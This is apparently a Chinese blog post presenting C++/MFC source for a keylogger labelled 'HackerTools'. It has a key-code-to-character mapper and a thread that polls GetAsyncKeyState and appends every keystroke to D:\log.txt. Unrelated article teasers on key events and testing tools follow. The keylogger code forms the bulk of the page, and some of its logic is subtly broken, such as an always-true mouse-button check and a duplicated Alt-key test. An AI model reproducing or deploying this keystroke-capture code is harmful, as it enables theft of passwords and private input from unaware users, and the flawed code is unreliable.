string GetKey(int Key)
{
string KeyString = "";
//判断符号输入
const int KeyPressMask = 0x80000000; //键盘掩码常量
int iShift = GetKeyState(0x10); //判断Shift键状态
bool IS = (iShift & KeyPressMask) == KeyPressMask; //表示按下Shift键
if (Key >= 186 && Key <= 222)
{
switch (Key)
{
case 186:
if (IS)
KeyString = ":";
else
KeyString = ";";
break;
case 187:
if (IS)
KeyString = "+";
else
KeyString = "=";
break;
case 188:
if (IS)
KeyString = "<";
else
KeyString = ",";
break;
case 189:
if (IS)
KeyString = "_";
else
KeyString = "-";
break;
case 190:
if (IS)
KeyString = ">";
else
KeyString = ".";
break;
case 191:
if (IS)
KeyString = "?";
else
KeyString = "/";
break;
case 192:
if (IS)
KeyString = "~";
else
KeyString = "`";
break;
case 219:
if (IS)
KeyString = "{";
else
KeyString = "[";
break;
case 220:
if (IS)
KeyString = "|";
else
KeyString = "\\";
break;
case 221:
if (IS)
KeyString = "}";
else
KeyString = "]";
break;
case 222:
if (IS)
KeyString = '"';
else
KeyString = "'";
break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE) // 退出
KeyString = "[Esc]";
else if (Key == VK_F1) // F1至F12
KeyString = "[F1]";
else if (Key == VK_F2)
KeyString = "[F2]";
else if (Key == VK_F3)
KeyString = "[F3]";
else if (Key == VK_F4)
KeyString = "[F4]";
else if (Key == VK_F5)
KeyString = "[F5]";
else if (Key == VK_F6)
KeyString = "[F6]";
else if (Key == VK_F7)
KeyString = "[F7]";
else if (Key == VK_F8)
KeyString = "[F8]";
else if (Key == VK_F9)
KeyString = "[F9]";
else if (Key == VK_F10)
KeyString = "[F10]";
else if (Key == VK_F11)
KeyString = "[F11]";
else if (Key == VK_F12)
KeyString = "[F12]";
else if (Key == VK_SNAPSHOT) // 打印屏幕
KeyString = "[PrScrn]";
else if (Key == VK_SCROLL) // 滚动锁定
KeyString = "[Scroll Lock]";
else if (Key == VK_PAUSE) // 暂停、中断
KeyString = "[Pause]";
else if (Key == VK_CAPITAL) // 大写锁定
KeyString = "[Caps Lock]"; //-------------------------------------//
//控制键
else if (Key == 8) //<- 回格键
KeyString = "[Backspace]";
else if (Key == VK_RETURN) // 回车键、换行
KeyString = "[Enter]\n";
else if (Key == VK_SPACE) // 空格
KeyString = " ";
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
//上档键和别的键组合,输出时有字符输出
/*
else if (Key == VK_LSHIFT) // 左侧上档键
KeyString = "[Shift]";
else if (Key == VK_LSHIFT) // 右侧上档键
KeyString = "[SHIFT]";
*/
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
else if (Key == VK_TAB) // 制表键
KeyString = "[Tab]";
else if (Key == VK_LCONTROL) // 左控制键
KeyString = "[Ctrl]";
else if (Key == VK_RCONTROL) // 右控制键
KeyString = "[CTRL]";
else if (Key == VK_LMENU) // 左换档键
KeyString = "[Alt]";
else if (Key == VK_LMENU) // 右换档键
KeyString = "[ALT]";
else if (Key == VK_LWIN) // 右 WINDOWS 键
KeyString = "[Win]";
else if (Key == VK_RWIN) // 右 WINDOWS 键
KeyString = "[WIN]";
else if (Key == VK_APPS) // 键盘上 右键
KeyString = "右键";
else if (Key == VK_INSERT) // 插入
KeyString = "[Insert]";
else if (Key == VK_DELETE) // 删除
KeyString = "[Delete]";
else if (Key == VK_HOME) // 起始
KeyString = "[Home]";
else if (Key == VK_END) // 结束
KeyString = "[End]";
else if (Key == VK_PRIOR) // 上一页
KeyString = "[PgUp]";
else if (Key == VK_NEXT) // 下一页
KeyString = "[PgDown]";
// 不常用的几个键:一般键盘没有
else if (Key == VK_CANCEL) // Cancel
KeyString = "[Cancel]";
else if (Key == VK_CLEAR) // Clear
KeyString = "[Clear]";
else if (Key == VK_SELECT) //Select
KeyString = "[Select]";
else if (Key == VK_PRINT) //Print
KeyString = "[Print]";
else if (Key == VK_EXECUTE) //Execute
KeyString = "[Execute]"; //----------------------------------------//
else if (Key == VK_LEFT) //上、下、左、右键
KeyString = "[←]";
else if (Key == VK_RIGHT)
KeyString = "[→]";
else if (Key == VK_UP)
KeyString = "[↑]";
else if (Key == VK_DOWN)
KeyString = "[↓]";
else if (Key == VK_NUMLOCK)//小键盘数码锁定
KeyString = "[NumLock]";
else if (Key == VK_ADD) // 加、减、乘、除
KeyString = "+";
else if (Key == VK_SUBTRACT)
KeyString = "-";
else if (Key == VK_MULTIPLY)
KeyString = "*";
else if (Key == VK_DIVIDE)
KeyString = "/";
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
KeyString = ".";
//小键盘数字键:0-9
else if (Key == VK_NUMPAD0)
KeyString = "0";
else if (Key == VK_NUMPAD1)
KeyString = "1";
else if (Key == VK_NUMPAD2)
KeyString = "2";
else if (Key == VK_NUMPAD3)
KeyString = "3";
else if (Key == VK_NUMPAD4)
KeyString = "4";
else if (Key == VK_NUMPAD5)
KeyString = "5";
else if (Key == VK_NUMPAD6)
KeyString = "6";
else if (Key == VK_NUMPAD7)
KeyString = "7";
else if (Key == VK_NUMPAD8)
KeyString = "8";
else if (Key == VK_NUMPAD9)
KeyString = "9";
//-------------------------------------------// //-------------------------------------------//
//*对字母的大小写进行判断*//
else if (Key >= 97 && Key <= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if (IS) //Shift按下:为小写字母
KeyString = Key;
else // 只有大写锁定:输出大写字母
KeyString = Key - 32;
}
else// 大写没有锁定
{
if (IS) // 按下Shift键: 大写字母
KeyString = Key - 32;
else // 没有按Shift键: 小写字母
KeyString = Key;
}
}
else if (Key >= 48 && Key <= 57) // 键盘数字:0-9及上方的符号
{
if (IS)
{
switch (Key)
{
case 48: //0
KeyString = ")";
break;
case 49://1
KeyString = "!";
break;
case 50://2
KeyString = "@";
break;
case 51://3
KeyString = "#";
break;
case 52://4
KeyString = "$";
break;
case 53://5
KeyString = "%";
break;
case 54://6
KeyString = "^";
break;
case 55://7
KeyString = "&";
break;
case 56://8
KeyString = "*";
break;
case 57://9
KeyString = "(";
break;
}
}
else
KeyString = Key;
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key >= 65 && Key <= 90) //ASCII 65-90 为A-Z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
{
if (IS) // 大写锁定,并且按下上档键:输出为小写字母
KeyString = Key + 32;
else //只有大写锁定:输出为大写字母
KeyString = Key;
}
else // 大写没有锁定:a-z
{
if (IS)
{
KeyString = Key;
}
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
}
return KeyString;
}
UINT KeyRecordProc(LPVOID lpVoid)
{
string Filename = "D:\\log.txt";//倒出记录文本存在D盘log.txt目录下
string TempString = "";
fstream FStream;
HWND hWnd = NULL;
wchar_t* WindowName = NULL;
::MessageBox(0,L"现在开始键盘记录",L"OK",0);
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while (true)
{
Sleep(5);
for (int i = 8; i <= 255; i++)
{
if ((GetAsyncKeyState(i) & 1) == 1)
{
//获取并写入按键
TempString = GetKey(i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}

开启一个线程循环监听键盘按键。

mfc HackerTools监控键盘按键的更多相关文章

  1. [VB.NET]调用API获取/设置键盘按键状态

    1.调用GetAsyncKeyState()获取指定按键的状态,GetActiveKey()检索指定范围内的按键状态 2.调用keybd_event()可合成一次击键事件,通常两次击键事件间需要设定时 ...

  2. Atitit.android js 的键盘按键检测Back键Home键和Menu键事件

    Atitit.android js 的键盘按键检测Back键Home键和Menu键事件 1. onKeyDown @Override public boolean onKeyDown(int keyC ...

  3. JS 捕获 input 中 键盘按键

    JS 捕获 input 中 键盘按键 的相应处理事件是很简单的,google搜索一下很容易找到处理方式,请看如下一种简单的处理方式: HTML代码: <div> <input typ ...

  4. Android App监听软键盘按键的三种方式

    前言:   我们在android手机上面有时候会遇到监听手机软键盘按键的时候,例如:我们在浏览器输入url完毕后可以点击软键盘右下角的“GO”按键加载url页面:在点击搜索框的时候,点击右下角的sea ...

  5. 键盘-App监听软键盘按键的三种方式

    前言:   我们在android手机上面有时候会遇到监听手机软键盘按键的时候,例如:我们在浏览器输入url完毕后可以点击软键盘右下角的“GO”按键加载url页面:在点击搜索框的时候,点击右下角的sea ...

  6. onkeyup 事件会在键盘按键被松开时发生

    定义和用法 onkeyup 事件会在键盘按键被松开时发生. 语法 onkeyup="SomeJavaScriptCode" 参数 描述 SomeJavaScriptCode 必需. ...

  7. Unity3D获取当前键盘按键

    获取当前键盘按键,代码如下: using UnityEngine; using System.Collections; public class GetCurrentKey : MonoBehavio ...

  8. C语言获取键盘按键

    在写控制台游戏的时候,发现不管用cin,scanf还是getchar,都不能实时的输入按键,必须要按回车才能读进去,而按回车的话会导致输入异常,所以要使用获取键盘按键的函数. 加入头文件#includ ...

  9. Jquery页面中添加键盘按键事件,如ESC事件

    $(document).keydown(function(event){ if(event.keyCode == 38 || event.keyCode == 104){ i--; if(i<= ...

随机推荐

  1. AgileTC linux部署

    简介 AgileTC是一套敏捷的测试用例管理平台,支持测试用例管理.执行计划管理.进度计算.多人实时协同等能力,方便测试人员对用例进行管理和沉淀.产品以脑图方式编辑可快速上手,用例关联需求形成流程闭环 ...

  2. Unittest方法 -- 测试报告&加载测试类(discover)

    import unittestimport HTMLTestRunnerimport osclass F11(unittest.TestCase): def test_001(self): self. ...

  3. 微信小程序云开发-云存储的应用-识别通用印刷体

    一.准备工作 1.创建云函数identify 2.云函数identify中index.js代码 1 // 云函数入口文件 2 const cloud = require('wx-server-sdk' ...

  4. PAT乙级:1053 住房空置率 (20分)

    PAT乙级:1053 住房空置率 (20分) 题干 在不打扰居民的前提下,统计住房空置率的一种方法是根据每户用电量的连续变化规律进行判断.判断方法如下: 在观察期内,若存在超过一半的日子用电量低于某给 ...

  5. Java实战:教你如何进行数据库分库分表

    摘要:本文通过实际案例,说明如何按日期来对订单数据进行水平分库和分表,实现数据的分布式查询和操作. 本文分享自华为云社区<数据库分库分表Java实战经验总结 丨[绽放吧!数据库]>,作者: ...

  6. 去掉返回的json中特殊字符

    private static String jsonString(String s) { char[] temp = s.toCharArray(); int n = temp.length; for ...

  7. Linux Shell 学习笔记 00

    1.Bash = Bourne Again SHell 2.终端提示符: #普通用户 username@hostname$ #管理员用户 root@hostname# 3.shell脚本通常是一个以s ...

  8. Orchestrator+Proxysql 实现自动导换+应用透明读写分离

    前面一篇博客我介绍了如何通过Orachestrator+脚本实现自动导换. 这一章,我来演示一下如何通过Orchestrator+Proxysql 实现自动导换+应用透明读写分离 总体架构 可选架构1 ...

  9. spring web.xml 标签<param-name>contextConfigLocation</param-name>

    <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</lis ...

  10. IO多路复用详解

    假如你想了解IO多路复用,那本文或许可以帮助你 本文的最大目的就是想要把select.epoll在执行过程中干了什么叙述出来,所以具体的代码不会涉及,毕竟不同语言的接口有所区别. 基础知识 IO多路复 ...